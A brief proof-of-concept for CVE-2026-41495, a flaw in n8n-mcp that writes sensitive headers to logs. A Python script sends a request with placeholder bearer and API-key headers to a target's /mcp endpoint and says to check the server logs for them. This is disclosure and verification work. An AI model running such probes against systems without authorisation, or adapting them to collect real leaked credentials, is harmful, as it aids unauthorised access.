CVE-2026-41495 n8n-mcp 敏感信息泄露漏洞

import requests # Target configuration target_url = "http://target-host:port/mcp" # Simulate a request containing sensitive headers that will be leaked in logs headers = { "Content-Type": "application/json", "Authorization": "Bearer LEAKED_SECRET_TOKEN_12345", # This will be logged "x-n8n-key": "SENSITIVE_API_KEY_67890" # This will be logged } # JSON-RPC payload payload = { "jsonrpc": "2.0", "method": "tools/list", "id": 1 } print(f"[*] Sending request to {target_url} to trigger log disclosure...") try: # The server will likely return 401 Unauthorized, but logs will capture the headers response = requests.post(target_url, json=payload, headers=headers) print(f"[*] Response Status Code: {response.status_code}") print("[!] Check the server logs (or SIEM) to verify if Authorization and x-n8n-key headers were recorded.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")